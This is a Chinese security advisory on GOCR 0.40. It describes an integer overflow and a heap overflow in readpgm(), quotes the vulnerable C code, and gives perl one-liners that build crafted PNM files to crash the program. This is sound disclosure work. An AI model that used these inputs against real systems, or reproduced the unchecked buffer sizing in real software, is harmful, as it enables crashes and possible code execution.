GOCR多个缓冲区溢出漏洞
受影响系统:
sourceforge GOCR 0.40
描述:
GOCR是一款在GNU公共许可下开发的光学字符识别(OCR)程序。GOCR中存在本地可利用的堆溢出和整数溢出,可能允许攻击者执行任意代码。
1. readpgm()整数溢出
GOCR在读取特制的PNM文件时存在整数溢出,可能导致堆溢出。有漏洞的代码存在于使用netpbm库的readpgm()函数中:
src/pnm.c:
...
/*
for simplicity only PAM of
netpbm is used, the older
formats
PBM, PGM and PPM can be
handled implicitly by PAM
routines (js05)
*/
#ifdef HAVE_PAM_H
void readpgm(char *name, pix
* p, int vvv) {
...
/* read pgm */
pnm_readpaminit(fp, &inpam,
sizeof(inpam));
p->x = inpam.width;
p->y = inpam.height;
if ( !(p->p = (unsigned char
*)malloc(p->x*p->y)) )
F1(`Error at malloc: p->p:
%d bytes`, p->x*p->y);
...
for ( i=0; i < inpam.height;
i++ ) {
pnm_readpamrow(&inpam,
tuplerow);
for ( j = 0; j < inpam.width;
j++ ) {
...
p->p[i*inpam.width+j] =
sample;
...
}
}
}
如果p->x*p->y溢出了整数变量,攻击者就可以为图形缓冲区分配不充分的内存。
2. readpgm()堆溢出
GOCR在读取特制的纯PNM文件(P3格式)时存在堆溢出。有漏洞的代码存在于不使用netpbm库的readpgm()库中:
src/pnm.c:
/*
if PAM not installed, here
is the fallback routine,
which is not so powerful
*/
void readpgm(char *name,pix
*p,int vvv){
...
pic=(unsigned char *)malloc(
nx*ny );
...
if( c2==`3` )for(mod=k=j=i=0;i<nx*ny*3
&& !feof(f1);){
c1=read_char(f1);
if( !isdigit(c1) ) { if(
!isspace(c1) )F0(`unexpected
char`);
if(1&mod) { k+=j; if(mod==5){
pic[i]=k/3; i++; }
j=0; mod=(mod+1)%6; } }
else { j=j*10+c1-`0`;
if(!(mod&1)) mod++; };
}
...
pic向量大小仅为nx*ny个元素,但“i<nx*ny*3
&&
!feof(f1)”时循环结束,因此如果文件有更多字节的话pic向量可能溢出。
测试方法:
整数溢出
bash-2.05b$ perl -e `print
`P4 10737418225`; print `0
`x1024` >
vuln.pnm bash-2.05b$ ./gocr
vuln.pnm
Segmentation fault (core
dumped)
堆溢出
bash-2.05b$ perl -e `print
`P10 125`; print `0 `x1024`
> vuln.pnm
bash-2.05b$ ./gocr vuln.pnm
Segmentation fault (core
dumped)
|
|
安全咨询
联系大蓝技术顾问,获取更多信息安全相关技术详情,请 点击此处

|